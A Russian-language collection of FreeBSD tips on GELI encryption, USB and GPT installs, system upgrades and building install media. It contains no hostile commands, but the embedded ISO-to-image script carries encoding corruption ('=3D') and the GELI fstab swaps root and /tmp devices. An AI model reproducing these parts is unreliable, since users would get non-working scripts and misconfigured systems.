    создаем фиктивные точки монтирования. Таблица разделов имеет примерно такой вид:
    
       ad4s1a / 256M
       ad4s1b swap
       ad4s1d /new-root
       ad4s1e /new-tmp
       ad4s1f /new-var
       ad4s1g /new-usr
    
    Загружаемся в установленную систему.
    
    В /boot/loader.conf добавляем 
    
       geom_eli_load="YES"
    
    Отмонтируем раздел /new-root, который будет содержать новый шифрованный корень:
    
       umount /new-root
    
    Инициализируем шифрование будущего корня и форматируем раздел:
    
       geli init -b -l 256 /dev/ad4s1d
       geli attach /dev/ad4s1d
       newfs -L root /dev/ad4s1d.eli
    
    В  /etc/fstab меняем /dev/ad4s1d на /dev/ad4s1d.eli
    Монтируем шифрованный раздел:
    
       mount /new-root
    
    Создаем ключи для шифрования остальных разделов, заполнив их случайными данными:
    
       dd if=/dev/random of=/new-root/ad4s1e.key bs=512 count=1
       dd if=/dev/random of=/new-root/ad4s1f.key bs=512 count=1
       dd if=/dev/random of=/new-root/ad4s1g.key bs=512 count=1
    
    Отключаем активный раздел подкачки и  шифруем его:
       swapoff -a
       geli onetime -l 256 -s 4096 /dev/ad4s1b
    
    В /etc/fstab меняем для раздела подкачки /dev/ad4s1b на /dev/ad4s1b.eli
    Активируем раздел подкачки:
       swapon -a
    
    Готовим шифрованные разделы tmp, var и usr:
    
       umount /new-tmp
       umount /new-var
       umount /new-usr
    
       geli init -K /new-root/ad4s1e.key -l 256 -P /dev/ad4s1e
       geli init -K /new-root/ad4s1f.key -l 256 -P /dev/ad4s1f
       geli init -K /new-root/ad4s1g.key -l 256 -P /dev/ad4s1g
       geli attach -k /new-root/ad4s1e.key -p /dev/ad4s1e  
       geli attach -k /new-root/ad4s1f.key -p /dev/ad4s1f
       geli attach -k /new-root/ad4s1g.key -p /dev/ad4s1g
    
       newfs -L tmp /dev/ad4s1e.eli
       newfs -L var /dev/ad4s1f.eli
       newfs -L usr /dev/ad4s1g.eli
    
    Формируем будущий образ иерархии монтирования разделов:
    
       cd /new-root
       mkdir tmp
       mkdir var
       mkdir usr
       mount /dev/ad4s1e.eli tmp/
       mount /dev/ad4s1f.eli var/
       mount /dev/ad4s1g.eli usr/
    
    Монтируем установочный диск с FreeBSD и копируем с него в новый корень образ базовой системы:
       mount /cdrom
       cd /cdrom/6.2-RELEASE/base
       cat base.?? | tar --unlink -xpzf - -C /new-root/
    
    Другой вариант скопировать уже установленный корень:
       
       tar -cf - / --exclude /new-root | tar -xf - -C /new-root
    
    Подготавливаем новый корень к загрузке:
    
       mkdir /new-root/mnt/boot
       cp /etc/fstab /new-root/etc/fstab
    
    В /new-root/etc/fstab добавляем разделы для монтирования:
    
        /dev/ad4s1a /mnt/boot ufs rw 1 1
        /dev/ad4s1e.eli / ufs rw 1 1
        /dev/ad4s1d.eli /tmp ufs rw 1 1
        /dev/ad4s1g.eli /usr ufs rw 1 1
        /dev/ad4s1f.eli /var ufs rw 1 1
     
    В /new-root/etc/rc.conf определяем монтирование дополнительных шифрованных разделов:
    
        geli_devices="ad4s1e ad4s1f ad4s1g"
        geli_ad4s1e_flags="-p -k /ad4s1e.key"
        geli_ad4s1f_flags="-p -k /ad4s1f.key"
        geli_ad4s1g_flags="-p -k /ad4s1g.key"
    
    Из старого корня делаем минимальный загрузочный раздел /mnt/boot, в  /etc/fstab оставляем:
    
        /dev/ad4s1d.eli / ufs rw 1 1
    
    Перезагружаемся, чистим содержимое /mnt/boot, оставив только /mnt/boot/boot/* и /mnt/boot/etc/fstab
    
     
    ----* Инсталляция FreeBSD 7.2 с USB Flash из-за проблем с загрузкой установочного CD   [комментарии]
     
    К сожалению релиз FreeBSD 7.2 вышел
    (http://www.freebsd.org/releases/7.2R/errata.html) с неработающим
    на некоторых системах загрузочным образом. Если при попытке загрузки с disc1
    (i386) система игнорирует его,
    можно произвести установку с "dvd1" или попробовать загрузиться с образов "bootonly" или "livefs", 
    а затем, после загрузки, подменить CD в приводе на "disc1", перед стартом инсталлятора sysinstall, 
    или предварительно скопировать содержимое диска на USB Flash и выбрать его в качестве источника.
    
    Другой вариант - подготовить установочный USB Flash диск.
    
    Самый простой способ, сперва на другой машине установить FreeBSD на Flash
    стандартным способом, как на жесткий диск.
    Flash накопитель должен отобразиться в списке дисков как /dev/da0, если этого
    не произошло, можно попробовать
    перейти в shell (Alt-F4) 
    и загрузить модуль ядра da:
    
       kldload da
       camcontrol rescan all
     
    Далее загружаемся с созданного Flash и копируем на него содержимое установочного диска.
    После чего диск можно использовать на машинах без CD-привода, вручную запуская /stand/sysinstall 
    и выбирая в качестве источника установки локальное хранилище.
    
     
    ----* Установка FreeBSD на embedded ПК без монитора и клавиатуры (доп. ссылка 1)   Автор: Анонимус  [комментарии]
     
    Есть железка с x86 процессором, 256 Мб памяти, 3 eth от via и слотом под CF-карту. 
    Нет VGA выхода и клавиатурной ps/2, есть COM. 
    
    Необходимо завести на этой железяке FreeBSD в качестве роутера:
    
    1) Цепляем CF-карту через USB кардридер к компьютеру, загружаемся с установочного CD, 
    выбираем в качестве целевого диска "da" - так у меня определился USB кардридер.
    Разбиваем по вкусу, необходимости
    и возможностям флешки. Через инсталлятор рекомендую сразу включить sshd и завести учётную запись. 
    
    2) Загружаемся на этом же компьютере с кардридера. Прописываем /etc/rc.conf необходимую сеть
    (внимание! учитывая название драйвера сетевой карты embeded устройства, а не ПК
    с которого производилась установка),
    например 
    
       ifconfig_vr0="inet 192.168.1.6  netmask 255.255.255.0"
    
    Так же правим /etc/fstab на целевой диск, на моём устройстве CF-карта будет
    ad0, вместо da1 кардридера.
    
    Правим чтобы по умолчанию консоль (видео/клавиатура) была на com-порту, в процессе загрузки:
    
       echo "-h" > /boot.config
       echo 'console="comconsole"' >> /boot/loader.conf
    
    и на ходу - в /etc/tty заменить/добавить:
    
       ttyd0   "/usr/libexec/getty std.9600"   vt100   on secure
    
    3) Цепляем карту к устройству, подключаем консольный кабель в COM порт, включаем питание 
    и с помощью консольного терминала типа HyperTerminal, putty, TeraTerm, cu, minicom и т.п. 
    с настройками 9600, 8-N-1 видим процесс загрузки FreeBSD, можем в него вмешаться и после загрузки 
    видим стандартное приглашение. Тут же не возбраняется получить управление по
    ssh, если всё верно прописали в rc.conf.
    
    Дополнения:
    
    - не плохо бы пересобрать ядро, можно выкинуть всё что касается vga, sc и kbd 
    и многое другое (зависит от железки). Удалив потом исходные тексты, obj и т.п.,
    получим мегабайт 150,
    а то и меньше, на флешке и сравнительно не много расходуемой ядром памяти при
    полнофункциональной FreeBSD;
    
    - в принципе, можно и без sysinstall, поставить и сразу с пересобранным ядром, 
    в качестве примера гуглите "freebsd on usb stick" и делайте по аналогии;
    
    - Если железок много то логично сделать раз, а потом скопировать при помощи dd;
    
    - На флешку много писать накладно, посему не плохо вытащить /tmp и некоторые
    части /var в tmpfs или сеть.
    
     
    ----* Установка FreeBSD на терабайтный диск с которым не работал sysinstall (доп. ссылка 1)   Автор: penkovmm  [комментарии]
     
    Решение проблемы с неправильной геометрией диска при попытке поставить FreeBSD на жёсткий диск, 
    на который не получалось поставить систему штатной утилитой sysinstall.
    При переносе системы на терабайтник и написании статьи использовались материалы
    по следующим ссылкам:
       http://m8d.de/news/freebsd-on-gpt.php
       http://www.lissyara.su/?id=1704
    
    Возникла у меня как-то необходимость заменить в домашнем сервере, который работает 
    под управлением ОС FreeBSD 7.1 Release, жёсткий диск Samsung SP0411N (40GB,
    IDE) на Seagate ST31000333AS (1TB, SATAII). Материнская плата, установленная на сервере - 
    Asus P5V800-MX (чипсет VIA), поддерживает HDD IDE, SATA и SATAII.
    Не долго думая, отключил старый винт, подсоединил новый, вставил в привод DVD
    с FreeBSD, запустил установку и... столкнулся с сообщением об ошибке от утилиты
    fdisk, которой показалось, что
    диск имеет неправильную геометрию.
    Для меня так и осталось загадкой, что же не понравилось этой утилите в моём
    новом HDD. Судя по хэндбуку,
    ОС должна нормально работать с разделами до 2TB. 
    Позадавав вопросы на разнообразных форумах, решил попробовать использовать GPT. 
    
    Итак, к делу:
    
    1. Подготовка
    
    Загружаюсь со старого диска, на который установлена FreeBSD 7.1 Release при подключенном 
    новом терабайтнике. У меня в ядре уже была включена поддержка GPT, но
    перед работой проверьте в конфигурации ядра наличие строчки
    
       options GEOM_GPT
    
    терабайтник у меня определился как ad4 (а как определился Ваш, можно посмотреть
    в файле /var/run/dmesg.boot).
    
    
    2. Создаю схему разметки GPT
    
    Зашёл под рутом и дал команду
    
       gpart create -s GPT ad4
    
    Этой командой я создал схему разметки GPT на провайдере, а провайдером в данном
    случае выступает ad4,
    то есть мой новый диск.
    Теперь я дам команду gpart show, которая покажет информацию о GPT в системе,
    в моём случае покажет, что диск свободен, начинается с 34 и имеет размером какое-то
    страшное число логических блоков, которое тут же и в Гб указывается. В процессе
    разметки диска я буду эту команду постоянно использовать, так что будьте готовы.
    
    
    3. Создаю разделы
    
    Теперь создам загрузочный раздел:
    
       gpart add -b 34 -s 16 -t freebsd-boot ad4
    
    эта команда создала раздел, начиная с логического блока 34, размером в 16
    логических блоков, имеющий тип
    freebsd-boot и размещающийся на ad4, только ad4 в документации теперь
    называется не "провайдер", а уже Geom.
    
    Создаем остальные разделы:
    
       gpart add -b 50 -s 2097152 -t freebsd-ufs ad4
    
    этой командой я создал раздел для корневой файловой системы размером в 1 Гб, то есть
    раздел начинается с логического блока 50 и занимает 2097152 логических блока. Число,
    с которого должен начинаться следующий раздел берём из вывода команды gpart show
    (просто смотрим там, с какого блока начинается свободное место), а сколько блоков надо
    на один Гб, я выяснил, разделив количество блоков на количество Гб на диске 
    (эти данные тоже можно посмотреть в выводе команды gpart show).
    
       gpart add -b 2097202 -s 8388608 -t freebsd-swap ad4
    
    это 4 Гб под swap (объём свопа я задал, умножив количество имеющейся у меня в
    сервере оперативки на 2).
    
       gpart add -b 10485810 -s 8388608 -t freebsd-ufs ad4
    
    это 4 Гб под /tmp - с большим запасом. Я запасливый.
    
       gpart add -b 18874418 -s 20971520 -t freebsd-ufs ad4
    
    это 10 Гб под /var на случай разрастания логов.
    
       gpart add -b 39845938 -s 1913679197 -t freebsd-ufs ad4
    
    и всё остальное под /usr.
    
    После этих манипуляций вывод команды gpart show у меня стал такой:
    
       => 34 1953525101 ad4 GPT (932G)
       34 16 1 freebsd-boot (8.0K)
       50 2097152 2 freebsd-ufs (1.0G)
       2097202 8388608 3 freebsd-swap (4.0G)
       10485810 8388608 4 freebsd-ufs (4.0G)
       18874418 20971520 5 freebsd-ufs (10G)
       39845938 1913679197 6 freebsd-ufs (913G)
    
    То есть я получил такое размещение разделов на диске:
    
       Раздел Тип Размер Файловая система
       ad4p1 freebsd-boot 8KB -
       ad4p2 freebsd-ufs 1GB /
       ad4p3 freebsd-swap 4GB /swap
       ad4p4 freebsd-ufs 4GB /tmp
       ad4p5 freebsd-ufs 10GB /var
       ad4p6 freebsd-ufs 913GB /usr
    
    4. Делаю диск загрузочным
    
       gpart bootcode -b /dist/boot/pmbr ad4
    
    И запишу загрузочный код в загрузочный сектор:
    
       gpart bootcode -p /boot/gptboot -i 1 ad4
    
    Другой вариант записи:
       cp /boot/gptboot /tmp
       dd if=/dev/zero bs=641 count=1 >> /tmp/gptboot
       dd if=/tmp/gptboot of=/dev/ad4p1 bs=512
    
    5. Инициализирую разделы
    
    Дальше созданные разделы необходимо подготовить для работы, то
    есть проинициализировать. 
    Итак, команды:
    
       newfs -O2 /dev/ad4p2 (12)
       newfs -O2 -U /dev/ad4p4 (13)
       newfs -O2 -U /dev/ad4p5 (14)
       newfs -O2 -U /dev/ad4p6 (15)
    
    P.S. Хочу отметить, что вместо команды gpart на ранних версиях FreeBSD можно было воспользоваться 
    командой gpt, однако во FreeBSD 8.0 команды gpt нет.
    
    6. Переношу систему на новый жёсткий диск
    
    В качестве подготовки к переносу создал каталоги /mnt/root, /mnt/var и
    /mnt/usr:
    
       mkdir /mnt/root; mkdir /mnt/var; mkdir /mnt/usr (16)
    
    смонтировал туда новые разделы:
    
       mount /dev/ad4p2 /mnt/root
       mount /dev/ad4p5 /mnt/var
       mount /dev/ad4p6 /mnt/usr
    
    И непосредственно перенос системы:
    
       cd /; pax -p eme -X -rw . /mnt/root (20)
       cd /var; pax -p eme -X -rw . /mnt/var (21)
       cd /usr; pax -p eme -X -rw . /mnt/usr (22)
    
    Теперь редактирую файл /etc/fstab (на новом диске названия разделов не те, что
    на старом, так что система при загрузке с терабайтника попытается смонтировать
    те разделы, которые были на старом диске.
    
    У меня получился вот такой файл:
    
       # Device Mountpoint FStype Options Dump Pass#
       /dev/ad4p3 none swap sw 0 0
       /dev/ad4p2 / ufs rw 1 1
       /dev/ad4p4 /tmp ufs rw 2 2
       /dev/ad4p6 /usr ufs rw 2 2
       /dev/ad4p5 /var ufs rw 2 2
       /dev/acd0 /cdrom cd9660 ro,noauto 0 0
    
    Выключаю сервер командой shutdown -p now и отключаю старый диск.
    
    7. Заключение
    
    После включения у меня всё заработало как надо, кроме mysql, потому что его сокет лежал в /tmp, 
    а во время переноса на директорию /tmp изменились права. Починил командой
       chmod 1777 /tmp
    
    Ну и всё. Удачи!
    
     
    ----* Обновление FreeBSD 7.0 до FreeBSD 7.1 через cvsup (доп. ссылка 1)   Автор: Litos  [комментарии]
     
       sed 's/RELENG_7_0/RELENG_7_1/' < /usr/share/examples/cvsup/standard-supfile > supfile
       csup -h cvsup2.ru.FreeBSD.org supfile
       cd /usr/src
       make buildworld
       make buildkernel KERNCONF=MY
       make installkernel KERNCONF=MY
       make installworld
       tar czvf /root/etc-backup.tgz /etc /var/named/etc
       mergemaster
       reboot
    
    Инструкция по обновлению при помощи freebsd-update: http://www.opennet.ru/tips/info/1818.shtml
    
    Дополнение: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    Настройки можно найти в файле /usr/local/etc/svnup.conf
    
     
    ----* Установка FreeBSD на USB Flash. (доп. ссылка 1)   Автор: iZEN  [комментарии]
     
    1. Разметить флэшку
    
    На всё пространство: 
       fdisk -BI /dev/da0
    
    Интерактивно разбить на разделы: 
       fdisk -i /dev/da0
       (ID разделов:  UFS - 165, FAT32 - 11, EFI GPT - 238)
    
    Используя конфиг-файл: 
       fdisk -f /poat/to/fdiskcofig.txt /dev/da0
    
    2. Форматирование
    
    MSDOS: 
       newfs_msdos -L DOS7 /dev/da0s1
    
    FreeBSD: 
       bsdlabel -w -B da0s2 && newfs -n -U -L FBSD /dev/da0s2a
    
    3. Установка загрузчика в MBR флэшки
    
       boot0cfg -v -B -o noupdate da0
    
    4. Копирование системных каталогов на флэшку
    
       mount /dev/da0s2a /mnt
    
       cp -R /boot /mnt/
       cp -R /sbin /mnt/
       cp -R /libexec /mnt/
       cp -R /lib /mnt/
       cp -R /bin /mnt/
       cp -R /etc /mnt/
    
       mkdir -p /mnt/usr/
       cp -R /usr/bin /mnt/usr/
       cp -R /usr/compat /mnt/usr/
       cp -R /usr/games /mnt/usr/
       cp -R /usr/include /mnt/usr/
       cp -R /usr/lib /mnt/usr/
       cp -R /usr/libdata /mnt/usr/
       cp -R /usr/libexec /mnt/usr/
       cp -R /usr/local /mnt/usr/
       cp -R /usr/ports /mnt/usr/
       cp -R /usr/sbin /mnt/usr/
       cp -R /usr/share /mnt/usr/
       cp -R /usr/src /mnt/usr/
      
       cp -R /var /mnt/
       rm -rf /mnt/var/tmp/* && chmod -R 777 /mnt/var/tmp/
       rm -rf /mnt/var/run/*
       rm -rf /mnt/var/log/*
    
       mkdir -p /mnt/mnt/
       mkdir -p /mnt/media/
       mkdir -p /mnt/cdrom/
       mkdir -p /mnt/dev/
       mkdir -p /mnt/proc/
       mkdir -p /mnt/tmp/ && chmod -R 777 /mnt/tmp/
       mkdir -p /mnt/usr/obj/
    
    5. Перенос домашних каталогов
    
       cp -R /root /mnt/
       cp -R /home /mnt/
    
    6. Обеспечение загрузки с флэшки
    
       echo 'geom_label_load="YES"' >> /mnt/boot/loader.conf
       echo 'ifconfig_DEFAULT="DHCP"' >> /mnt/etc/rc.conf
       echo 'virecover_enable="NO"' >> /mnt/etc/rc.conf
       ee /mnt/etc/fstab:
    
       # Device    Mountpoint    FStype    Options            Dump    Pass#
       #/dev/ad4s1f    /usr        ufs    rw,noatime        2    2
       #/dev/ad4s1g    /home        ufs    rw,noatime        2    2
       /dev/ufs/FBSD    /    ufs rw,noatime    1    1
       md    /tmp    mfs    rw,-s160M,noatime    0    0
       md    /var/run    mfs    rw,-s14M,noatime    0    0
       md    /var/log    mfs    rw,-s26M,noatime    0    0
       #md    /usr/obj    mfs    rw,-s900M,noatime    0    0
       /dev/acd0    /cdrom    cd9660    ro,noauto,-CUTF-8    0    0
       /dev/da0s1    /mnt    msdosfs     rw,noauto,-D=CP1251,-L=ru_RU.UTF-8    0    0
       /proc    /proc    procfs    rw,noauto    0    0
       /tmp    /var/tmp    nullfs    rw    0    0
    
    7. Перезагрузка
    
       umount /dev/da0s2a
       reboot
    
    8. Важное замечание
    
    Команды копирования системных каталогов необходимо выполнять, начиная с
    копирования каталога /boot и /sbin,
    в которых находятся файлы ядра и процессов инициализации системы. Это необходимо для того, 
    чтобы загрузчик boot1/boot2 сумел найти код инициализации ядра в первых цилиндрах раздела носителя.
    
     
    ----* Наиболее простой способ обновления FreeBSD до последней версии   [комментарии]
     
    Для i386 и amd64 сборок FreeBSD для бинарного обновления можно использовать утилиту freebsd-update.
    
    Обновляем FreeBSD 6.3 до 6.4-RELEASE
    
    Проверяем файл конфигурации /etc/freebsd-update.conf, можно изменить сервер для
    загрузки обновлений
    и обновляемые компоненты, например, исключить src.
    
    Загружаем обновления, которые будут сохранены в /var/db/freebsd-update
    (в /var необходимо наличие как минимум 400Мб свободного места):
    
       freebsd-update upgrade -r 6.4-RELEASE
    
    Устанавливаем обновления, попутно отвечая на вопросы, 
    касающиеся решения конфликтов 
    при обновлении файлов конфигурации:
    
       freebsd-update install
    
    Перезагружаем систему:
    
       shutdown -r now
    
    Деинсталировать установленные обновления можно при помощи команды "rollback".
    
    Утилита freebsd-update входит в состав FreeBSD, начиная с версии 6.2.
    
    
    Инструкция по обновлению FreeBSD 6.x до FreeBSD 7.0
    
    
    Загружаем скрипт обновления, проверяем его целостность и разархивируем:
       fetch http://people.freebsd.org/~cperciva/freebsd-update-upgrade.tgz
       fetch http://people.freebsd.org/~cperciva/freebsd-update-upgrade.tgz.asc
       gpg --verify freebsd-update-upgrade.tgz.asc freebsd-update-upgrade.tgz
       tar -xf freebsd-update-upgrade.tgz
    
    Загружаем файлы обновлений и производим первичную подготовку:
       sh freebsd-update.sh -f freebsd-update.conf -r 7.0-RELEASE upgrade
    
    Устанавливаем обновления (устанавливаем новое ядро):
       sh freebsd-update.sh -f freebsd-update.conf install
    
    Перезагружаем систему:
       shutdown -r now
    
    Второй раз запускаем установку обновлений (при первом запуске было обновлено только ядро,
    при повторном запуске выполняется обновление базового окружения):
       sh freebsd-update.sh -f freebsd-update.conf install
    
    Пересобираем установленные дополнительные приложения (порты), 
    так как они могут ссылаться на старые библиотеки.
       portupgrade -faP
    
    Третий раз запускаем процесс обновления, теперь для удаления старых библиотек:
    
       sh freebsd-update.sh -f freebsd-update.conf install
    
    Выполняем перезагрузку:
       shutdown -r now
    
     
    ----* Организация установки FreeBSD с USB Flash (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Иногда возникает необходимость создать установочный Flash-диск с FreeBSD, 
    но без переформатирования FAT-раздела на Flash, при сохранении размещенных там данных.
    
    Загружаем с ftp.freebsd.org минимальный установочный образ 6.3-RELEASE-i386-bootonly.iso
    ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/6.3/6.3-RELEASE-i386-bootonly.iso
    
    Создаем на его основе ram-диск. Операции выполняются на FreeBSD системе, 
    при необходимости временно FreeBSD можно поставить в KVM, VmWare или VirtualBox.
    
    Создаем образ RAM-диска размером чуть больше bootonly.iso:
    
       dd if=/dev/zero of=boot.img bs=1k count=26000
    
    Подключаем ram-диск:
    
       mdconfig -a -t vnode -f boot.img -u 0
    
    Устанавливаем загрузочный сектор и размечаем по умолчанию:
    
       bsdlabel -w -B md0 auto
    
    Создаем файловую систему:
    
       newfs -m 0 md0a
    
    Монтируем созданную ФС ram-диска:
    
       mkdir /mnt/img
       mount /dev/md0a /mnt/img
    
    Монтируем iso-образ и переносим с него данные на ram-диск:
    
       mkdir /mnt/iso
       mdconfig -a -t vnode -f 6.3-RELEASE-i386-bootonly.iso -u 1
       mount_cd9660 /dev/md1 /mnt/iso
       cd /mnt/img/
       cp -r /mnt/iso/* .
    
    Размонтируем:
    
       cd
       umount /mnt/img /mnt/iso
       mdconfig -d -u 0
       mdconfig -d -u 1
    
    Загружаем Linux, можно LiveCD.
    Копируем boot.img на Flash диск.
    Копируем на Flash файл memdisk из комплекта syslinux (http://syslinux.zytor.com).
    Ставим syslinux на Flash (/dev/sdb1):
    
       syslinux -s /dev/sdb1
    
    Создаем в корне файл syslinux.cfg:
    
       label freebsd
           kernel /memdisk
           append initrd=/boot.img harddisk
    
    Если не грузится, ругаясь на MBR, заменяем MBR на содержимое файла mbr.bin из комплекта syslinux:
       dd if=/dev/sdb of=mbr_backup.bin bs=1 count=512
       cat mbr.bin > /dev/sdb
    
    Проверить можно через QEMU:
       qemu -hda /dev/sdb1 -std-vga
    
    
    При установке выбираем метод получения установочных файлов по FTP или копируем их на Flash 
    (директорию 6.3-RELEASE из 6.3-RELEASE-i386-disc1.iso).
    
    --------------------
    В случае когда USB Flash не жалко отформатировать, можно можно создать
    загрузочный 
    USB Flash следующим образом:
    
       fdisk -BI /dev/da2
       bsdlabel -w -B /dev/da2s1
       newfs /dev/da2s1a
       mount /dev/da2s1a /mnt
    
    Копируем в /mnt содержимое содержимое 6.3-RELEASE-i386-bootonly.iso
    
    --------------------
    Установка загрузчика FreeBSD на Flash из Linux:
    
    Делаем бэкап текущего MBR USB диска:
      dd if=/dev/sdb of=mbr_sdb.bin bs=1 count=512
    
    Берем boot0 из комплекта FreeBSD и копируем в него данные о таблицах разделов текущего диска:
      dd if=mbr_sdb.bin  of=boot0   bs=1 count=66 skip=446 seek=446
    
    Копируем загрузчик в MBR USB диска:
      dd if=boot0 of=/dev/sdb  bs=1 count=512
    
    
    Инструкцию по созданию установочного образа FreeBSD, загружаемого по сети
    можно найти здесь http://wiki.opennet.ru/NetworkBoot
    
    ---------------------
    Полезный скрипт для преобразования ISO в UFS-образ (http://docs.FreeBSD.org/cgi/mid.cgi?4420AF56.60106)
    
    Запускается ./fbsd-install-iso2img.sh iso-path img-path
    
    
    #!/bin/sh
    
    # You can set some variables here. Edit them to fit your needs.
    
    # Set serial variable to 0 if you don't want serial console at all,
    # 1 if you want comconsole and 2 if you want comconsole and vidconsole
    serial=3D0
    
    set -u
    
    if [ $# -lt 2 ]; then
        echo "Usage: $0 source-iso-path output-img-path"
        exit 1
    fi
    
    isoimage=3D$1; shift
    imgoutfile=3D$1; shift
    
    export tmpdir=3D$(mktemp -d -t fbsdmount)
    # Temp file and directory to be used later
    export tmpfile=3D$(mktemp -t bsdmount)
    
    export isodev=3D$(mdconfig -a -t vnode -f ${isoimage})
    
    echo "#### Building bootable UFS image ####"
    
    ISOSIZE=3D$(du -k ${isoimage} | awk '{print $1}')
    SECTS=3D$((($ISOSIZE + ($ISOSIZE/5))*2))
    
    # Root partition size
    
    echo "Initializing image..."
    dd if=3D/dev/zero of=3D${imgoutfile} count=3D${SECTS}
    ls -l ${imgoutfile}
    export imgdev=3D$(mdconfig -a -t vnode -f ${imgoutfile})
    
    bsdlabel -w -B ${imgdev}
    newfs -O1 /dev/${imgdev}a
    
    mkdir -p ${tmpdir}/iso ${tmpdir}/img
    
    mount -t cd9660 /dev/${isodev} ${tmpdir}/iso
    mount /dev/${imgdev}a ${tmpdir}/img
    
    echo "Copying files to the image..."
    ( cd ${tmpdir}/iso && find . -print -depth | cpio -dump ${tmpdir}/img )
    #bzcat ${tmpdir}/iso/dist/root.dist.bz2 | mtree -PUr -p ${tmpdir}/img 2>&=
    1 > /dev/null
    
    #echo "/dev/ufs/${UFS_LABEL} / ufs ro 1 1" > ${tmpdir}/img/etc/fstab
    
    if [ ${serial} -eq 2 ]; then
            echo "-D" > ${tmpdir}/img/boot.config
            echo 'console=3D"comconsole, vidconsole"' >> ${tmpdir}/img/boot/l=
    oader.conf
    elif [ ${serial} -eq 1 ]; then
            echo "-h" > ${tmpdir}/img/boot.config
            echo 'console=3D"comconsole"' >> ${tmpdir}/img/boot/loader.conf
    fi
    
    cleanup() {
        umount ${tmpdir}/iso
        mdconfig -d -u ${isodev}
        umount ${tmpdir}/img
        mdconfig -d -u ${imgdev}
        rm -rf ${tmpdir} ${tmpfile}
    }
    
    cleanup
    
    ls -lh ${imgoutfile}
    
     
    ----* Создание установочного DVD из 4 образов CD дисков FreeBSD 7.0 (доп. ссылка 1)   [комментарии]
     
    Имеем загруженные iso образы:
    
       7.0-RELEASE-i386-disc1.iso
       7.0-RELEASE-i386-disc2.iso
       7.0-RELEASE-i386-disc3.iso
       7.0-RELEASE-i386-docs.iso
    
    Создаем в домашнем каталоге директорию dvd-freebsd7 и копируем туда содержимое iso образов.
    
       cd ~
       mkdir dvd-freebsd7
       cd dvd-freebsd7/
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-disc1.iso -u 0
       mount -t cd9660 /dev/md0 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-disc2.iso -u 1
       mount -t cd9660 /dev/md1 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-disc3.iso -u 2
       mount -t cd9660 /dev/md2 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt
    
       mdconfig -a -t vnode -f ../7.0-RELEASE-i386-docs.iso -u 3
       mount -t cd9660 /dev/md3 /mnt
       tar -C /mnt -cf - . | tar -xf -
       umount /mnt 
    
    Используя sed или обычный текстовый редактор удаляем упоминание привязки к
    номеру диска ("||1", "||2" и "||3") в файле packages/INDEX
    
    В файл cdrom.inf добавляем:
    
       CD_VOLUME = 0
       CD_VOLUME = 1
       CD_VOLUME = 2
       CD_VOLUME = 3
    
    Удаляем директорию rr_moved 
    (иначе при создании iso образа в формате Rock Ridge будет выдана ошибка):
    
       rm -Rf rr_moved
    
    Для записи DVD на лету:
    
       growisofs -Z /dev/cd0 -J -R -no-emul-boot -b boot/cdboot -iso-level 3 .
    
    Для создания ISO образа DVD диска:
    
       mkisofs -V FreeBSD7 -J -R -b boot/cdboot -no-emul-boot -o freebsd7.iso .
    
    Для записи созданного iso:
    
       growisofs -dvd-compat -Z /dev/cd0=freebsd7.iso
    
     
    ----* Обновление FreeBSD 6.3 до FreeBSD 7.0 из исходных текстов (доп. ссылка 1)   [комментарии]
     
    Устанавливаем комплект файлов для обратной совместимости.
    
    1. Загружаем localedata-5.4.tbz и compat6x-i386-6.x.xxxxxx.yyyymm.tbz 
    с ftp://ftp6.ru.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/All 
    2. Первый файл распаковываем (через pkg_add имя_пакета) 
    в /usr/local/share/compat/, второй в /usr/local/lib/compat/
    
    Устанавливаем комплект для обновления.
    
    Загружаем http://people.freebsd.org/~rse/dist/freebsd-adm-1.2.2.tar.gz 
    
    1. Распаковываем в /usr/adm:
       cd /usr
       fetch http://people.freebsd.org/~rse/dist/freebsd-adm-1.2.2.tar.gz
       rm -rf adm; 
       gunzip <freebsd-adm-1.2.2.tar.gz | tar xvf -; 
       rm -f freebsd-adm-1.2.2.tar.gz
    
    2. В файле /usr/adm/cfg/csup.src заменяем RELENG_6 на RELENG_7_0
    
    Обновляем исходные тексты на FreeBSD 7.0:
       cd /usr/src && make cleandir
       cd /usr/adm && make update
    
    Обновляем конфигурацию ядра:
      vi /sys/`uname -m`/conf/`hostname -s | tr 'a-z' 'A-Z'`
    
    1. Добавляем:
      options        COMPAT_FREEBSD6
      options        TCP_DROP_SYNFIN
      options        SCTP            # Stream Transmission Control Protocol
      options        UFS_GJOURNAL    # Enable gjournal-based UFS
      options        STOP_NMI        # Stop CPUS using NMI instead of IPI
      options        AUDIT           # Security event auditing
      options        GEOM_LABEL      # Provides labelization
      options        GEOM_PART_GPT   # GUID Partition Tables.
      options        COMPAT_43TTY    # BSD 4.3 TTY compat [KEEP THIS!]
      options KSE
      device         uart            # Generic UART driver
      device         le              # AMD Am7900 LANCE and Am79C9xx PCnet
      device         firmware        # firmware assist module
      device         dcons           # Dumb console driver
      device         dcons_crom      # Configuration ROM for dcons
    
    2. Убираем:
      options        GEOM_GPT        # GUID Partition Tables.
      options        COMPAT_43       # Compatible with BSD 4.3 [KEEP THIS!]
      device         lnc             # NE2100, NE32-VL Lance Ethernet cards
    
    3. Замечание по опциям: 
       IPSEC_ESP меняем на FAST_IPSEC
       вместо PIM используем MROUTING
       вместо SCHED_4BSD можно поставить SCHED_ULE
       в GENERIC ядре теперь по умолчанию включены:
         cpufreq, dumb, uart, fwip (IP over FireWire), wlan_wep, wlan_ccmp и wlan_tkip
    
    Читаем /usr/src/UPDATING
    
    Готовимся к обновлению:
       mergemaster -p
    
    Собираем "мир" и ядро:
       cd /usr/adm && make world-build kernel-build
    
    Устанавливаем FreeBSD 7.0
       make kernel-install world-install
    
    Чистим хвосты FreeBSD 6.3:
       rm -f /etc/rc.d/ike /etc/rc.d/pccard /etc/rc.d/pcvt /etc/rc.d/ramdisk
